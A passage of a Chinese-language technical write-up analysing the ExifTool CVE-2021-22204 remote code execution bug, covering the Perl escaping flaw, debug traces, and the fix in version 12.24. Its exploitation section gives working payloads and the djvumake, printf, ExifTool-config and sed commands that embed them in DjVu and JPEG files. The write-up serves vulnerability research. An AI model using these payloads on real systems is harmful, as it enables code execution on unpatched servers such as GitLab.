可以看到第一對雙引號之間包含一個反斜杠和換行符,根據源碼分析,第一步將會提取兩個引號之間的字符串保存在tok變量中,正常情況下提取出來的字符串中不會包含未轉義的引號,這時取到反斜杠+換行符,第二步判斷是否單數個反斜杠結尾,這里的結尾判斷使用的正則$匹配,來看看perl官方文檔[7] 對$的定義:

圖片

圖中說明$匹配字符串的末尾,或字符串末尾換行符之前。也就是說這里沒有匹配到最后的換行符,匹配到了之前的單數個反斜杠,這時再來看前面關于源碼第二步的分析:

單數個反斜杠說明該段內容中存在被轉義的引號,則拼接一個引號到字符串中繼續進行循環

實際上這里的引號因為換行符的原因并沒有被正確轉義,緊接著拼接了下一個引號之間的內容,最后使用轉義符來結束payload:

.`calc`.\
#結果為
\
".`calc`.\"g

這時帶入eval后已經成功脫離字符串上下文,我們就可以使用反引號執行任意代碼:

圖片

在修改版函數中運行該payload的結果為:

首次進入變量內容為:(metadata "\
".`calc`.\"g"
獲取的非空字符串為:(
進入遞歸解析
首次進入變量內容為:(metadata "\
".`calc`.\"g"
獲取的非空字符串為:m
獲取的非空字符串為:"
進入子串解析
循環子串解析
上一個引號偏移量為:11
第二個引號偏移量為:14
切割字符串為:(metadata "\
".`calc`.\"g",起始位置為:11,長度為:2
切割后的字符串為:\
=+\

如果是奇數個反斜杠結尾,則添加引號字符串為:\
"
循環子串解析
上一個引號偏移量為:14
第二個引號偏移量為:24
切割字符串為:(metadata "\
".`calc`.\"g",起始位置為:14,長度為:9
切割后的字符串為:\
".`calc`.\=\
"+.`calc`.\
如果是奇數個反斜杠結尾,則添加引號字符串為:\
".`calc`.\"
循環子串解析
上一個引號偏移量為:24
第二個引號偏移量為:26
切割字符串為:(metadata "\
".`calc`.\"g",起始位置為:24,長度為:1
切割后的字符串為:\
".`calc`.\"g=\
".`calc`.\"+g
eval執行前為:\
".`calc`.\"g
eval執行后為:
SCALAR(0x3a8a5b0)
進入遞歸結果為ARRAY(0x3a8c8a0)

關于此類payload的發現可以參考以下兩篇文章:An Image Speaks a Thousand RCEs: The Tale of Reversing an ExifTool CVE[8]、CVE-2021-22204 - Recreating a critical bug in ExifTool, no Perl smarts required[9]。其中列出了fuzz過程,這里就不進行深入了,實測通過關鍵位置特殊字符fuzz可以觸發代碼執行。

還有一類payload為:

(metadata(Copyright "\c${system(calc)}")

下面來看執行結果:

切割后的字符串為:\c${system(calc)}=+\c${system(calc)}
eval執行前為:\c\${system(calc)}
eval執行后為:

當字符$進入正則s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge時會被添加轉義符變為\$。這時正好和前面的\c組成了\c\,查看perl文檔:Quote and Quote-like Operators[10]

圖片

從上圖中得知在perl中\c+字符可以映射到其他字符,計算公式為chr(ord("字符") ^ 64),帶入\得到chr(ord("\\") ^ 64),如下:

圖片

所以\c\會得到FS (File Separator) 文件分割符,這時用來轉義的反斜杠就被吃掉了導致轉義失敗。關于此類payload的發現可以參考以下文章:From Fix to Exploit: Arbitrary Code Execution for CVE-2021-22204 in ExifToo[11],其中同樣列出了fuzz過程。

0x04 漏洞利用

DjVu文件生成

查看DjVu.pm中的相關函數注釋Process DjVu annotation chunk (ANTa or decoded ANTz)得知本次漏洞出現在解析DJVU文件的注釋塊ANTa或者ANTz過程中:

圖片

關于該注釋塊的解釋在文檔DJVU3 FILE STRUCTURE OVERVIEW[12]有所提及,如下圖:

圖片

文檔DJVUMAKE[13]中指出djvumake可以生成DjVu圖像文件,使用djvumake生成需要包含SxxxBGxx塊,他們可以指向一個文件,如下圖:

圖片

使用命令sudo apt-get install -y djvulibre-bin安裝djvu套件。經測試BGjpBG2k塊可以指定任意文件,但關于ANTa塊的插入文檔并沒有提及。查看DjVumake源碼[14]發現隱藏參數:

圖片

于是我們就可以通過如下命令生成帶有payload的DjVu文件,其中需要使用INFO參數指定長寬:

$ printf '(metadata "\\\n".`echo 2>/tmp/2`.\\"g"' > rce.txt
$ djvumake rce.djvu INFO=0,0 BG2k=/dev/null ANTa=rce.txt
$ exiftool rce.djvu

圖片

另外也可以通過openwall[15]此處公布的命令來創建POC,生成一個pbm格式文件后就可以通過套件中的cjb2將pbm轉換為DjVu,最后再追加ANTa注釋塊:

$ printf 'P1 1 1 0' > moo.pbm
$ cjb2 moo.pbm moo.djvu
$ printf 'ANTa\0\0\0\36"(xmp(\\\n".qx(echo 2>/tmp/4);#"' >> moo.djvu
$ exiftool moo.djvu

圖片

需要注意ANTa\0\0\0\36中的36ANTa塊中數據的八進制長度,圖例如下:

圖片

JPEG文件生成

同樣在源碼中發現解析JPG文件過程中對元數據標簽HasselbladExif(0xc51b)存在遞歸解析,這時就需要尋找將DjVu文件插入到HasselbladExif標簽中的方法,原作者文章中指出了一種方法,在exiftool官方配置文檔[16]中也可以查詢到相關用法,通過編寫eixftool配置文件來自定義標簽表:

圖片

配置文件如下,保存為configfile:

%Image::ExifTool::UserDefined = (
    # All EXIF tags are added to the Main table, and WriteGroup is used to
    # specify where the tag is written (default is ExifIFD if not specified):
    'Image::ExifTool::Exif::Main' => {
        # Example 1.  EXIF:NewEXIFTag
        0xc51b => {
            Name => 'HasselbladExif',
            Writable => 'string',
            WriteGroup => 'IFD0',
        },
        # add more user-defined EXIF tags here...
    },
);

通過如下命令來加載配置文件插入DjVu文件到指定標簽內,從而生成帶有payload的正常JPG文件:

exiftool -config configfile '-HasselbladExif<=exploit.djvu' image.jpg

圖片

還有一種方法是不通過配置文件,通過exiftool參數直接插入標簽,如下說明:

圖片

但是HasselbladExif標簽并不是直接可寫的:

圖片

這時可以通過插入可寫標簽GeoTiffAsciiParams后替換文件指定字節為HasselbladExif標簽即可,流程如下:

exiftool "-GeoTiffAsciiParams<=moo.djvu" tim22g.jpg
sed 's \x87\xb1 \xc5\x1b g' tim22g.jpg > trce.jpg

首先插入GeoTiffAsciiParams標簽后通過exiftool -v10 tim22g.jpg查看其標簽id為0x87b1

圖片

然后使用sed命令替換為0xc51b即可,如下圖:

圖片

圖片

可以通過其他安全研究員編寫的腳本來一鍵生成,只需要一張圖片即可。github地址為:AssassinUKG/CVE-2021-22204[17]

圖片

腳本中插入的DjVu注釋塊是ANTz,使用了Bzz壓縮,壓縮后不具有文本可讀性,如下圖:

圖片

0x05 漏洞修復

12.24版本的更新[18]:

圖片

上圖中可以看到更新后采用了硬編碼的形式通過搜索和替換來處理C轉義字符,并且刪除了eval函數,徹底修復了此處的漏洞。

0x06 總結

本篇分析下來可以看到在此漏洞的利用中可以使用多種多樣的方式。對于軟件功能技術、安全防護日新月異的今天,看似漏洞挖掘利用越來越難以進行,其實考驗我們的是思維的發散程度以及對底層知識掌握的廣度與深度。萬變不離其宗,以不變才能應萬變。

0x07 參考資料

[1]hackerone gitlab rce: https://hackerone.com/reports/1154542

[2]gitlab在野利用: https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/

[3]官方漏洞通告: https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/

[4]圖像元數據(Metadata) ——Exif信息分析: https://blog.csdn.net/ling620/article/details/103731878

[5]exiftool源碼: https://github.com/exiftool/exiftool/releases

[6]CVE-2021-22204 - ExifTool RCE詳細分析(漏洞原作者翻譯版本): https://xz.aliyun.com/t/9762

[7]Metacharacters: https://perldoc.perl.org/perlre#Metacharacters

[8]An Image Speaks a Thousand RCEs: The Tale of Reversing an ExifTool CVE: https://amalmurali47.medium.com/an-image-speaks-a-thousand-rces-the-tale-of-reversing-an-exiftool-cve-585f4f040850

[9]CVE-2021-22204 - Recreating a critical bug in ExifTool, no Perl smarts required: https://blog.bricked.tech/posts/exiftool/

[10]Quote and Quote-like Operators:https://perldoc.perl.org/perlop#%5B5%5D

[11]From Fix to Exploit: Arbitrary Code Execution for CVE-2021-22204 in ExifTool: https://blogs.blackberry.com/en/2021/06/from-fix-to-exploit-arbitrary-code-execution-for-cve-2021-22204-in-exiftool

[12]DJVU3 FILE STRUCTURE OVERVIEW:http://djvu.sourceforge.net/specs/djvu3changes.txt

[13]DJVUMAKE: http://djvu.sourceforge.net/doc/man/djvumake.html

[14]DjVumake Source: https://github.com/traycold/djvulibre/blob/master/tools/djvumake.cpp#L979

[15]openwall: https://www.openwall.com/lists/oss-security/2021/05/10/5*[16]config: https://exiftool.org/config.html

[17]AssassinUKG/CVE-2021-22204: https://github.com/AssassinUKG/CVE-2021-22204

[18]12.24版本的更新: https://github.com/exiftool/exiftool/commit/cf0f4e7dcd024ca99615bfd1102a841a25dde031

[19]ExifTool完全入門指南: https://www.rmnof.com/article/exiftool-introduction/

[20]Description of Exif file format: https://www.media.mit.edu/pia/Research/deepview/exif.html

[21]JPEG文件格式解析(一) Exif 與 JFIF: https://cloud.tencent.com/developer/article/1427939

[22]關于EXIF格式的分析: https://www.jianshu.com/p/ae7b9ab20bca

[23]TIFF 規范,修訂 6.0: https://www.awaresystems.be/imaging/tiff/specification/TIFF6.pdf

[24]GitLab 未授權 RCE 分析 Part 1:ExifTool: http://wjlshare.com/archives/1627

[25]CVE-2021-22205:Gitlab RCE分析之一:ExifTool CVE-2021-22004起源: https://mp.weixin.qq.com/s?__biz=Mzg3MTU0MjkwNw==&mid=2247485285&idx=1&sn=647634dd0de8ea875c80bd714ac570ef

[26]RCE in GitLab when removing metadata using ExifTool: https://dayzerosec.com/vulns/2021/05/18/rce-in-gitlab-when-removing-metadata-using-exiftool.html

[27]A case study on: CVE-2021-22204 – Exiftool RCE: https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/

[28]Analyse de la vulnérabilité CVE-2021-22205: https://www.acceis.fr/analyse-de-la-vulnerabilite-cve-2021-22205/

[29]RCE in GitLab via 0day in exiftool metadata processing library CVE-2021-22204: https://www.youtube.com/watch?v=YYLqzj5-N7w&t=103s


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1817/